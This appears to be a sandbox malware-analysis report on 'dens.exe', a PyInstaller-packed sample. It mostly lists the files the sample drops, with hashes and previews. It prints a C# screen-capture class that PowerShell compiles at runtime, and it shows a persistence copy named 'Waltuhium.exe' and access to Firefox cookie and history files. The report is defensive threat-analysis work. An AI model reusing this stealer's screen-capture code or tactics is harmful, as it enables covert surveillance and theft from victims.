Category:	dropped
Size (bytes):	92
Entropy (8bit):	4.812622295095324
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVlFxP+tPCCfA5S:RtBMwlVTxWBBf
MD5:	43136DDE7DD276932F6197BB6D676EF4
SHA1:	6B13C105452C519EA0B65AC1A975BD5E19C50122
SHA-256:	189EEDFE4581172C1B6A02B97A8F48A14C0B5BAA3239E4CA990FBD8871553714
SHA-512:	E7712BA7D36DEB083EBCC3B641AD3E7D19FB071EE64AE3A35AD6A50EE882B20CD2E60CA1319199DF12584FE311A6266EC74F96A3FB67E59F90C7B5909668AEE1
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.43.0).Root-Is-Purelib: true.Tag: py3-none-any..

C:\Users\user\AppData\Local\Temp\_MEI62482\typeguard-4.3.0.dist-info\entry_points.txt

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	48
Entropy (8bit):	4.155187698990101
Encrypted:	false
SSDEEP:	3:mWSJCQEjMitjHfLvn:mrMJHfbn
MD5:	AEAB5BCF8BF89A51C97C4CDF70578848
SHA1:	2E9C1617560AB66431AAB90700DB901985293485
SHA-256:	AA9ECD43568BB624A0310AA8EA05A57C6A72D08217CE830999E4132E9CEA1594
SHA-512:	2BE73E99296DF26A28835F91DD8BC50EB104AF06A3C54666175FAF322E0AD4620453DB0388531C4113B052A92C1D2E4C3088E25AF43CDE42AA852CF7B0CB5B05
Malicious:	false
Preview:	[pytest11].typeguard = typeguard._pytest_plugin.

C:\Users\user\AppData\Local\Temp\_MEI62482\typeguard-4.3.0.dist-info\top_level.txt

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10
Entropy (8bit):	3.321928094887362
Encrypted:	false
SSDEEP:	3:LEJn:M
MD5:	004A2A8CE1AB120A63902A27D76BD964
SHA1:	A4E367AB40410598DADD1FC5F680ED7A176BEB09
SHA-256:	E33DBC021B83A1DC114BF73527F97C1F9D6DE50BB07D3B1EB24633971A7A82BB
SHA-512:	0D8FF9A43897AB390AB41AFE5BAC8BD38A68C2BEF88E844E5B49BF70E3164B226975CC2717AE3DC3428D1CFBB0BE068C243F104915FEE1FFA58C23FBE76FDB89
Malicious:	false
Preview:	typeguard.

C:\Users\user\AppData\Local\Temp\_MEI62482\ucrtbase.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1016584
Entropy (8bit):	6.669319438805479
Encrypted:	false
SSDEEP:	24576:VkmZDEMHhp9v1Ikbn3ND0TNVOsIut8P4zmxvSZX0yplkA:mmZFHhp9v1Io3h0TN3pvkA
MD5:	0E0BAC3D1DCC1833EAE4E3E4CF83C4EF
SHA1:	4189F4459C54E69C6D3155A82524BDA7549A75A6
SHA-256:	8A91052EF261B5FBF3223AE9CE789AF73DFE1E9B0BA5BDBC4D564870A24F2BAE
SHA-512:	A45946E3971816F66DD7EA3788AACC384A9E95011500B458212DC104741315B85659E0D56A41570731D338BDF182141C093D3CED222C007038583CEB808E26FD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........W..l9F.l9F.l9F...F.l9F.l8F.l9F...F.l9F..9G.l9F..:G.l9F..<G.l9F..7G.n9F..=G.l9F...F.l9F..;G.l9FRich.l9F........PE..d.....}X.........." .........`............................................................`A................................................p......................F...=......p...PX..T............................'...............O...............................text............................... ..`.rdata..<u.......v..................@..@.data....$...........r..............@....pdata.............................@..@.rsrc................4..............@..@.reloc..p............:..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\unicodedata.pyd

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1138456
Entropy (8bit):	5.4620027688967845
Encrypted:	false
SSDEEP:	12288:arEHdcM6hbuCjJ43w9hIpCQvb0QN8MdIEQ+U2BNNmD+99FfcAIU:arEXDCjfk7bPNfv42BN6yzUAIU
MD5:	A8ED52A66731E78B89D3C6C6889C485D
SHA1:	781E5275695ACE4A5C3AD4F2874B5E375B521638
SHA-256:	BF669344D1B1C607D10304BE47D2A2FB572E043109181E2C5C1038485AF0C3D7
SHA-512:	1C131911F120A4287EBF596C52DE047309E3BE6D99BC18555BD309A27E057CC895A018376AA134DF1DC13569F47C97C1A6E8872ACEDFA06930BBF2B175AF9017
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#.}.#.}.#.}...%.}..\|.!.}..~. .}..y.+.}..x...}.6-\|. .}.h.\|.!.}.#.\|.s.}.6-p.".}.6-}.".}.6-..".}.6-..".}.Rich#.}.........PE..d...`b.f.........." ...(.@..........0.......................................p.......)....`.........................................p...X............P.......@.......0.../...`......P^..T............................]..@............P..p............................text...!>.......@.................. ..`.rdata..\....P.......D..............@..@.data........ ......................@....pdata.......@......................@..@.rsrc........P.......$..............@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\wheel-0.43.0.dist-info\INSTALLER

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI62482\wheel-0.43.0.dist-info\LICENSE.txt

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1107
Entropy (8bit):	5.115074330424529
Encrypted:	false
SSDEEP:	24:PWmrRONJHLH0cPP3gtkHw1h39QHOsUv4eOk4/+jvho3nPz:ttONJbbvE/NQHOs5eNS3n7
MD5:	7FFB0DB04527CFE380E4F2726BD05EBF
SHA1:	5B39C45A91A556E5F1599604F1799E4027FA0E60
SHA-256:	30C23618679108F3E8EA1D2A658C7CA417BDFC891C98EF1A89FA4FF0C9828654
SHA-512:	205F284F3A7E8E696C70ED7B856EE98C1671C68893F0952EEC40915A383BC452B99899BDC401F9FE161A1BF9B6E2CEA3BCD90615EEE9173301657A2CE4BAFE14
Malicious:	false
Preview:	MIT License..Copyright (c) 2012 Daniel Holth <dholth@fastmail.fm> and contributors..Permission is hereby granted, free of charge, to any person obtaining a.copy of this software and associated documentation files (the "Software"),.to deal in the Software without restriction, including without limitation.the rights to use, copy, modify, merge, publish, distribute, sublicense,.and/or sell copies of the Software, and to permit persons to whom the.Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included.in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL.THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR.OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERW

C:\Users\user\AppData\Local\Temp\_MEI62482\wheel-0.43.0.dist-info\METADATA

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	2153
Entropy (8bit):	5.088249746074878
Encrypted:	false
SSDEEP:	48:DEhpFu5MktjaywDK48d+md+7uT8RfkD1UKd+mOl1Awry:DEhpiMktjayq/7kOfsUzmbYy
MD5:	EBEA27DA14E3F453119DC72D84343E8C
SHA1:	7CEB6DBE498B69ABF4087637C6F500742FF7E2B4
SHA-256:	59BAC22B00A59D3E5608A56B8CF8EFC43831A36B72792EE4389C9CD4669C7841
SHA-512:	A41593939B9325D40CB67FD3F41CD1C9E9978F162487FB469094C41440B5F48016B9A66BE2E6E4A0406D6EEDB25CE4F5A860BA1E3DC924B81F63CEEE3AE31117
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: wheel.Version: 0.43.0.Summary: A built-package format for Python.Keywords: wheel,packaging.Author-email: Daniel Holth <dholth@fastmail.fm>.Maintainer-email: Alex Gr.nholm <alex.gronholm@nextday.fi>.Requires-Python: >=3.8.Description-Content-Type: text/x-rst.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: Topic :: System :: Archiving :: Packaging.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 3 :: Only.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Programming Language :: Python :: 3.10.Classifier: Programming Language :: Python :: 3.11.Classifier: Programming Language :: Python :: 3.12.Requires-Dist: pytest >= 6.0.0 ; extra == "test".Requires-Dist: setuptools >= 65 ; extra == "test".Project-URL: Changelog, https://wheel.readthedocs.io/en/s

C:\Users\user\AppData\Local\Temp\_MEI62482\wheel-0.43.0.dist-info\RECORD

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	4557
Entropy (8bit):	5.714200636114494
Encrypted:	false
SSDEEP:	96:QXVuEmegx01TQIvFCiq9H/H7vp88FxTXiJPkGJP4CWweXQHmnDpMI78IegK5EeZR:QXVxAbYkU4CWweXQHmnDpMeV2BvTRqQF
MD5:	44D352C4997560C7BFB82D9360F5985A
SHA1:	BE58C7B8AB32790384E4E4F20865C4A88414B67A
SHA-256:	783E654742611AF88CD9F00BF01A431A219DB536556E63FF981C7BD673070AC9
SHA-512:	281B1D939A560E6A08D0606E5E8CE15F086B4B45738AB41ED6B5821968DC8D764CD6B25DB6BA562A07018C271ABF17A6BC5A380FAD05696ADF1D11EE2C5749C8
Malicious:	false
Preview:	../../bin/wheel,sha256=cT2EHbrv-J-UyUXu26cDY-0I7RgcruysJeHFanT1Xfo,249..wheel-0.43.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..wheel-0.43.0.dist-info/LICENSE.txt,sha256=MMI2GGeRCPPo6h0qZYx8pBe9_IkcmO8aifpP8MmChlQ,1107..wheel-0.43.0.dist-info/METADATA,sha256=WbrCKwClnT5WCKVrjPjvxDgxo2tyeS7kOJyc1GaceEE,2153..wheel-0.43.0.dist-info/RECORD,,..wheel-0.43.0.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..wheel-0.43.0.dist-info/WHEEL,sha256=EZbGkh7Ie4PoZfRQ8I0ZuP9VklN_TvcZ6DSE5Uar4z4,81..wheel-0.43.0.dist-info/entry_points.txt,sha256=rTY1BbkPHhkGMm4Q3F0pIzJBzW2kMxoG1oriffvGdA0,104..wheel/__init__.py,sha256=D6jhH00eMzbgrXGAeOwVfD5i-lCAMMycuG1L0useDlo,59..wheel/__main__.py,sha256=NkMUnuTCGcOkgY0IBLgBCVC_BGGcWORx2K8jYGS12UE,455..wheel/__pycache__/__init__.cpython-312.pyc,,..wheel/__pycache__/__main__.cpython-312.pyc,,..wheel/__pycache__/_setuptools_logging.cpython-312.pyc,,..wheel/__pycache__/bdist_wheel.cpython-312.pyc,,..wheel/__pycache

C:\Users\user\AppData\Local\Temp\_MEI62482\wheel-0.43.0.dist-info\WHEEL

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.672346887071811
Encrypted:	false
SSDEEP:	3:RtEeX/QFM+vxP+tPCCfA5I:Rt1Qq2WBB3
MD5:	24019423EA7C0C2DF41C8272A3791E7B
SHA1:	AAE9ECFB44813B68CA525BA7FA0D988615399C86
SHA-256:	1196C6921EC87B83E865F450F08D19B8FF5592537F4EF719E83484E546ABE33E
SHA-512:	09AB8E4DAA9193CFDEE6CF98CCAE9DB0601F3DCD4944D07BF3AE6FA5BCB9DC0DCAFD369DE9A650A38D1B46C758DB0721EBA884446A8A5AD82BB745FD5DB5F9B1
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: flit 3.9.0.Root-Is-Purelib: true.Tag: py3-none-any.

C:\Users\user\AppData\Local\Temp\_MEI62482\wheel-0.43.0.dist-info\entry_points.txt

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	104
Entropy (8bit):	4.271713330022269
Encrypted:	false
SSDEEP:	3:1SSAnAYgh+MWTMhk6WjrAM5t5ln:1Jb9WTMhk9jUM5t5ln
MD5:	6180E17C30BAE5B30DB371793FCE0085
SHA1:	E3A12C421562A77D90A13D8539A3A0F4D3228359
SHA-256:	AD363505B90F1E1906326E10DC5D29233241CD6DA4331A06D68AE27DFBC6740D
SHA-512:	69EAE7B1E181D7BA1D3E2864D31E1320625A375E76D3B2FBF8856B3B6515936ACE3138D4D442CABDE7576FCFBCBB0DEED054D90B95CFA1C99829DB12A9031E26
Malicious:	false
Preview:	[console_scripts].wheel=wheel.cli:main..[distutils.commands].bdist_wheel=wheel.bdist_wheel:bdist_wheel..

C:\Users\user\AppData\Local\Temp\_MEI62482\yarl\_helpers_c.cp312-win_amd64.pyd

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	55808
Entropy (8bit):	5.781337979621736
Encrypted:	false
SSDEEP:	768:WknJ07sWZTpdvhPoxU66zWc/lzLehKhdtShQQvCQLxZpiSMcVVLh:WV48bvhPoxU7Nlve8tSJ+SMM
MD5:	863A566F7C2A76B8A23AC30E04C0DACF
SHA1:	DF75C0D04810F3027A5E182EAD3EFBAF7616C07C
SHA-256:	DE569177BEC7668C01A82B8BE7F56DD25F13FE296432715B1035B57153453BBC
SHA-512:	D9135CA93A56642AD80B4F04C1EE1647207CF9CDC19943696D7A710F1CA680435A931F22829078A0C85766DBAE2E9E3C768A7C681D92FCA8D65CF32D53558152
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^..D..............?.............Q...............................................R.......R.......R.S.....R.......Rich............PE..d....X.f.........." ...).....X......0........................................0............`.........................................@...d.......d............................ ..........................................@............................................text............................... ..`.rdata...9.......:..................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\yarl\_quoting_c.cp312-win_amd64.pyd

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	97792
Entropy (8bit):	5.988158419392648
Encrypted:	false
SSDEEP:	1536:cfnVt5r+NtMILQN+Hfrxn9hXdV4SKKSODPXj7AZeN8mGEqCMy:sVtkfMuosfR9h/4SRSODPXH8pE
MD5:	35FA0191828509C2BB02684F36DDC796
SHA1:	68FAF30484482E465106C449ABEAFA5741F16541
SHA-256:	19D8E8F4293B3ABACB4DB9E68CF402B9A24A260FAAC7DF7EC373D7DDC6DD7EC4
SHA-512:	E468F4FB5B8428ADD59DBAAFCEE5F536C9F24771B9FB2B7754445AF2925EF286BBE283951CC1C1E2A5CE33BD311B51A8A7D44E06BE9E5663BE4D19FCACD51115
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........].....................%..............%.......%.......%.......%..........9....$.......$.......$i......$......Rich............PE..d....X.f.........." ...)..................................................................`.........................................`X..d....X..x...............................,....G...............................F..@............ ..x............................text...(........................... ..`.rdata...M... ...N..................@..@.data....6...p.......b..............@....pdata...............n..............@..@.rsrc................z..............@..@.reloc..,............\|..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dke15eo0.vcw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kvsu30vh.g34.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tj0g1skh.osw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vz43mvhm.5du.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\mugnbzbx\mugnbzbx.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	4.154581034278981
Encrypted:	false
SSDEEP:	24:Jo4KMz04F03wykl4qk6oAuBGOUBrRmLW+7UCPa:Jo4hz0BAl4xBQ0XQCC
MD5:	C76055A0388B713A1EABE16130684DC3
SHA1:	EE11E84CF41D8A43340F7102E17660072906C402
SHA-256:	8A3CD008E86A3D835F55F8415F5FD264C6DACDF0B7286E6854EA3F5A363390E7
SHA-512:	22D2804491D90B03BB4B640CB5E2A37D57766C6D82CAF993770DCF2CF97D0F07493C870761F3ECEA15531BD434B780E13AE065A1606681B32A77DBF6906FB4E2
Malicious:	false
Preview:	.using System;..using System.Collections.Generic;..using System.Drawing;..using System.Windows.Forms;....public class Screenshot..{.. public static List<Bitmap> CaptureScreens().. {.. var results = new List<Bitmap>();.. var allScreens = Screen.AllScreens;.... foreach (Screen screen in allScreens).. {.. try.. {.. Rectangle bounds = screen.Bounds;.. using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)).. {.. using (Graphics graphics = Graphics.FromImage(bitmap)).. {.. graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size);.. }.... results.Add((Bitmap)bitmap.Clone());.. }.. }.. catch (Exception).. {.. // Handle any exceptions here.. }.. }.... return results;..

C:\Users\user\AppData\Local\Temp\mugnbzbx\mugnbzbx.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (604), with no line terminators
Category:	dropped
Size (bytes):	607
Entropy (8bit):	5.352580405813052
Encrypted:	false
SSDEEP:	12:p37Lvkmb6KOkqe1xBkrk+ikOfhXUWZEifhXR:V3ka6KOkqeFkOfx1EifxR
MD5:	9E3513A9368D09B95BCB5D7CAFDB6BDB
SHA1:	79EFAEF45A731624225FD12007231EB5E7542DD3
SHA-256:	87528BB9157254DC0C54D3F76098E6915ACF4CA355FB8D7FCDF67B1AF9E9A747
SHA-512:	50778BCF7578E5B92F29230BD8B31BD86E0B3ECCB607D792ADB763E8100916A7638F2497A967B1259C7D449B85EFFAD65CC2C914DB8BBD6AE82BC9AC03F3DC96
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\mugnbzbx\mugnbzbx.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\mugnbzbx\mugnbzbx.0.cs"

C:\Users\user\AppData\Local\Temp\mugnbzbx\mugnbzbx.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (734), with CRLF, CR line terminators
Category:	dropped
Size (bytes):	1155
Entropy (8bit):	5.480066177032836
Encrypted:	false
SSDEEP:	24:KJfUId3ka6KOkqeFkOfx1Eifx0Kax5DqBVKVrdFAMBJTH:uUkka6NkqeFkyx1Eux0K2DcVKdBJj
MD5:	787277F9BB7E62446B7AC777EC08EB81
SHA1:	AC58A48A8BB9D257F8EE292235926517B4CAAA35
SHA-256:	ED7D0B2396E0B478CDB982DDF5ED454501BFF45850DCFA6A9A9ECF1B2E954126
SHA-512:	A8A8752DD63372D7FE42DF91513E85948780A7A47E76F7F25E03BB2BEE867F7931CAE8E0C215C36144576564E3EEE7658A856D0006C43734F010B7AC08014772
Malicious:	false
Preview:	.C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\mugnbzbx\mugnbzbx.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\mugnbzbx\mugnbzbx.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no

C:\Users\user\AppData\Local\WaltuhiumUpdateService\Waltuhium.exe

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	16905542
Entropy (8bit):	7.996534016135247
Encrypted:	true
SSDEEP:	393216:ImyCi6hZ2YsHFUK2JjXMCHWUjtjx5WsqWxTC0xQwe8les+j:1yCi+Z2YwUlJjXMb8AsqACj3Qes
MD5:	258322C37F4F5C632BD6C79520899603
SHA1:	F7971D8FEF96C59DF97A2B31436CC0C1F8921182
SHA-256:	09B67CCD7D38D2F868EB2A67C73E2E8D45AEFE1054522477B259C399527B2C39
SHA-512:	BFAF83D01607C5D481F6AA0415E243C91A28F84F595C65F76EF6B9291CCCC8D58D02F114B3D30CB24D6FA5E8D2ED6013A2609715344739946DCCED07B7BABEBC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Zpc.Zpc.Zpc...`.]pc...f..pc...g.Ppc....Ypc...`.Spc...g.Kpc...f.rpc...b.Qpc.Zpb..pc.O.g.Cpc.O.a.[pc.RichZpc.........PE..d...M..g.........."....(.....~.................@..........................................`.................................................\...x....p.......@..P"..............d...................................@...@............................................text............................... ..`.rdata..P*.......,..................@..@.data....S..........................@....pdata..P"...@...$..................@..@.rsrc........p......................@..@.reloc..d...........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.996534016135247
TrID:	Win64 Executable GUI (202006/5) 77.37% InstallShield setup (43055/19) 16.49% Win64 Executable (generic) (12005/4) 4.60% Generic Win/DOS Executable (2004/3) 0.77% DOS Executable Generic (2002/1) 0.77%
File name:	dens.exe
